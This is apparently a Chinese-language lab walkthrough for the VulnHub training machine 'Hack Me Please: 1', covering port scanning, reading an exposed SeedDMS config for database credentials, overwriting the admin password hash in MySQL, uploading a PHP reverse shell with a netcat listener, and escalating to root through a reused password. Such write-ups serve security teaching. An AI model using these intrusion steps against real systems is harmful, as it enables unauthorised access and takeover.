---
# System prepended metadata

title: 'VULNHUB-HACK ME PLEASE: 1'
tags: [VULNHUB]

---

# HACK ME PLEASE: 1

:::spoiler [靶機簡介](https://www.vulnhub.com/entry/hack-me-please-1,731/)

:::info
**About Release**
Name: Hack Me Please: 1
Date release: 31 Jul 2021
Author: Saket Sourav
Series: Hack Me Please

**Download**
Hack_Me_Please.rar (Size: 4.1 GB)
Download (Mirror): https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar

**Description**
Difficulty: Easy
Description: An easy box totally made for OSCP. No bruteforce is required.
Aim: To get root shell

**File Information**
Filename: Hack_Me_Please.rar
File size: 4.1 GB
MD5: 787498429EACAE29B53594E74D8B7176
SHA1: EBD08CDE98442E526D21D5D00BE45C0CBFF517E1

**Virtual Machine**
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux

**Networking**
DHCP service: Enabled
IP address: Automatically assign
:::
<br>
<br>

**前置工作**

* [匯入 Virtualbox](https://blog.pulipuli.info/2016/07/virtualbox-how-to-import-ovf-format.html)
* [虛擬機配置不同網路](https://zhuanlan.zhihu.com/p/554893004)
* [教學影片](https://www.youtube.com/live/sGkwmjppU8U?feature=share)
<br>
<br>

### 步驟一：找出目標
請使用 netdiscovery 或類似工具，找出靶機的 IP 位址。

**netdiscover**： [1](https://blog.csdn.net/u010698107/article/details/115288643)、[2](https://www.tw511.com/24/273/9855.html)、 [3](https://ithelp.ithome.com.tw/articles/10274282?sc=hot)、 [4](https://zhuanlan.zhihu.com/p/423742743)

![](https://hackmd.io/_uploads/B1oTJbIw2.png)

<br>
<br>

### 步驟二：通訊埠掃描
請使用 nmap 或類似工具，找出靶機的所有通訊埠。
提示：雖然建議大家平常不要用 Aggressive Scan, 但做作業可以喔。
你應該至少會掃出 port 80 跟 3306，想想它們是甚麼服務。

**NMAP**：[1](https://www.osslab.tw/books/linux-administration/page/nmap-%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4%E9%9B%86)、[2](https://www.oreilly.com/library/view/nmap-network-exploration/9781786467454/916fdbc5-6ae2-4f8b-a5a2-c2515309daad.xhtml)

![](https://hackmd.io/_uploads/ByTWyMUD2.png)




<br>
<br>

### 網頁伺服器列舉
連上網頁看看，順道用瀏覽器把網頁原始檔打開瞧瞧，如果本身網頁沒有問題，看看他 include 了那些外部檔案，特別是 JavaScript 的，如果你留意到了 js/main.js，請把他打開，找到以下內容
![](https://hackmd.io/_uploads/S1764G8D3.png)
SeedDMS 是甚麼？它是一個開源的，使用 PHP 與 MySQL 搭建的網頁化文件管理器，在更新文件時提供工作流管理和通知。它的套件檔於下面連結，目前已發行到 6.0.x 版本。
https://sourceforge.net/p/seeddms/code/ci/seeddms-6.0.x/tree/
而我們看到的版本是 5.1.22，版本有點舊，那就有機會。到 exploit-db 輸入 SeedDMS 找找看
https://www.exploit-db.com/
遇到找不到原始套件的，可以用網站映射工具，從目標主機抓下來慢慢看。


![](https://hackmd.io/_uploads/By4SSMLPn.png)
![](https://hackmd.io/_uploads/H1OyLGUPn.png)
![](https://hackmd.io/_uploads/SykTPfUv2.png)

<br>
<br>

### 步驟四：套件查看
很遺憾的，它最後的 Cross-Site Scripting 與 RCE Bug 都在 5.1.18 以後就不存在了。那只好來找找，有沒有設定上的疏失吧。從前面的連結，你應該可以找到 5.1.22 版的目錄

https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/

哪個路徑看起來像是設定檔存放的地方？就是那個 conf。打開看一下裡面有啥：

![](https://hackmd.io/_uploads/H1JFFM8wn.png)
![](https://hackmd.io/_uploads/r1gboM8wh.png)


步驟三跟你說套件會裝在 /seeddms51x/seeddms-5.1.22/ 下，那就試試用瀏覽器查看一下以下連結
```
http://<CTF_Machine_IP>/seeddms51x/seeddms-5.1.22/conf/
http://10.0.2.15/seeddms51x/seeddms-5.1.22/conf/
```
![](https://hackmd.io/_uploads/B1IGaz8wn.png)

也可能是去掉子版本的路徑
```
http://<CTF_Machine_IP>/seeddms51x/conf/
```
![](https://hackmd.io/_uploads/B1RQpMIP2.png)

哎呀，可惜管理員把 Directory Traversal 功能關掉了，不然就看的到設定檔了。不過，有沒有發現兩個的錯誤訊息不同，一個是 404 File not found，一個是403 Forbidden。想想哪個是存在的呦。繼續回到 sourceforge 上查看。

<br>
<br>

### 步驟五：套件分析

/conf 裡面有啥？
 &ensp;     .htaccess
 &ensp;     settings.xml.template
 &ensp;    stopwords.txt
stopwords.txt 是個字典檔，沒太多用途；
settings.xml.template 嘛…往下看，大概到了中間偏後一點點的地方，What!!! 
竟然要設定 dbUser 跟 dbPass，好傢伙，有戲了。但實際檔案連結呢？
![](https://hackmd.io/_uploads/SJEvCELw3.png)

![](https://hackmd.io/_uploads/Byku1r8Dn.png)

再看到 .htaccess
![](https://hackmd.io/_uploads/SJX5kHLv3.png)

有沒有看到上面的註解？bingo，找到設定檔的預設路徑了。
串起前面 403 錯誤的 URL 前綴：
```
http://<CTF_Machine_IP>/seeddms51x/conf/settings.xml
http://10.0.2.15/seeddms51x/conf/settings.xml
```
What a wonderful world! 有沒有看到資料庫的設定了。
![](https://hackmd.io/_uploads/H1zDeHUPn.png)

<br>
<br>

### 步驟六：連上資料庫看看
``` SQL
mysql -h <CTF_Machine_IP> -u <dbUser> -p
mysql -h 10.0.2.15 -u seeddms -p
```
到處看看
```
SHOW DATABASES;
```
有一個 seeddms 資料庫
```
USE seeddms;
SHOW TABLES;
```
所有表格都是 tbl 開頭，只有一個 users 不是，很有可能就是管理者的資料
```
SELECT * FROM users;
```
暫時沒有用，不管，先記下來再說。
![](https://hackmd.io/_uploads/rJ4brH8D2.png)

從 tbl 系列中，又看到跟使用者有關的 tblusers 資料表。
```
SELECT * FROM tblusers;
```
看到前台的兩個帳號了，guest 沒密碼不能登入，權限可能也不夠，admin 的權
限比較香。
![](https://hackmd.io/_uploads/SJ9GrSIv2.png)
pwd 欄位長度 32 個字元，我們學過的雜湊演算法中，應該就是 MD5 了。

<br>
<br>

### 步驟七：密碼破解
* 方法一：課堂教過 John the ripper，你可以建字典檔，或用暴力法破解它。
    * John the ripper：[1](https://ithelp.ithome.com.tw/articles/10300529)


* 方法二：沒猜到密碼怎麼辦？改掉它，或是自己加一個。這只講改掉的流程，insert 的指令太長不打了。使用 md5sum 工具或網頁的MD5 生成工具，把你要的密碼雜湊成 MD5。

    再來就是直接覆蓋資料庫了。
    ```
    UPDATE tblUsers
    SET pwd='21232f297a57a5a743894a0e4a801fc3'
    WHERE login='admin';
    ```
    注意：pwd 的字串記得改成你自己的。
    
    
    
    123456的MD5：
    ```
    e10adc3949ba59abbe56e057f20f883e
    ```
    ![](https://hackmd.io/_uploads/rJswJ8Ivn.png)

<br>
<br>

### 步驟八：登入前台
可以去登入看看了，根據原始檔案說明，應該在這
```
http://<CTF_Machine_IP>/seeddms51x/seeddms-5.1.22/
http://10.0.2.15/seeddms51x/seeddms-5.1.22/
```
看一下你的身分
![](https://hackmd.io/_uploads/SJJkgLIDn.png)

<br>
<br>

### 步驟九：上傳反向後門
既然它是 PHP/MySQL，我們就利用上傳功能，建立一個 php 反向後門來玩吧，從這邊下載人家寫好的 PHP webshell 工具：
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
記得根據你攻擊端的 ip 與 port 修改檔案。

Kali 端就不用複雜的 metasploit 了，簡單用 netcat 開個接口就夠用了
```
nc -v -n -l -p 1234
```
-p 後面是你剛剛指定的 port 喔。
![](https://hackmd.io/_uploads/HJukXULvn.png)

接著，從網頁的 Add Document，建立一份新文件，把剛剛 webshell 改好的php 檔上傳吧。
![](https://hackmd.io/_uploads/SJYgVUUv2.png)

<br>
<br>


### 步驟十：執行反向後門
上傳後的檔案，可以點擊下載，但好像無法執行怎麼辦？
繼續追蹤原始碼，裡面上傳的儲存位置，會在以下預設路徑
```
http://site.example.com/data/1048576/<document_id>/1.php
```
<document_id> 可以從下載的 URL 中找到，而此機器的套件裝在
seeddms51x 目錄下，所以 URL 成了以下：
```
http://<CTF_Machine_IP>/seeddms51x/data/1048576/<document_id>/1.php
http://10.0.2.15/seeddms51x/data/1048576/8/1.php
```
![](https://hackmd.io/_uploads/HJpuUIIPn.png)
![](https://hackmd.io/_uploads/SJmtILUw2.png)

執行一下它吧，看看 kali 上的 nc 是否接上了，

![](https://hackmd.io/_uploads/B11HP8Iwh.png)


需要更多功能請參考
https://nepcodex.com/2021/06/upgrade-to-an-intelligent-reverse-shell/

<br>
<br>

### 步驟十一：越權
你現在是已 www-data 身分進入系統，習慣上查一下 /etc/passwd，發現有個使用者帳號 saket。ㄟ….跟剛剛 users 資料表的一樣耶。那就
```
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")' #這步驟很重要，一般terminal無法輸入sudo密碼
cd /etc
cat passwd
su - saket
Saket@#$1337
```
![](https://hackmd.io/_uploads/Sk62uUIvn.png)

密碼貼過來，WTF，進去了。再 try try 管理者是否是預設第一個帳號擁有sudo 的權限(Ubuntu 的特性)。
```
sudo -i
Saket@#$1337
```
密碼再貼一次。
恭喜恭喜恭喜你!!!!! 確認一下準備收工了
```
id
whoami
```
![](https://hackmd.io/_uploads/SJDLPw8vn.png)


這就是簡易的 CTF，因為是靶機，沒有必要刪除軌跡，所以就結束囉。